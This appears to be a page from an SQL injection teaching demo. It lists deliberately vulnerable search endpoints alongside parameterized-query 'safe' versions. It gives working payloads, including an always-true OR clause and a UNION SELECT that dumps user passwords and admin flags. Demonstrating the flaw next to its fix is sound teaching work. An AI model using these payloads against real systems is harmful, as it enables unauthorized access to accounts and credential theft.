SQL Injection Demo
Raw API endpoints for to attack directly from Postman.
Search API (GET — click a link to open it, or copy the URL):
1. Normal search — look up one exact email
/api/users/search?email=alice@example.com2. Vulnerable — always-true OR dumps every user
/api/users/search?email=fake-mail@example.com' OR '1'='13. Vulnerable — dump passwords via UNION SELECT
/api/users/search?email=fake-mail@example.com' UNION SELECT id,password,is_admin FROM users --Both have a -safe counterpart (/api/login-safe, /api/users/search-safe) using parameterized queries — try the same payloads there to see the fix.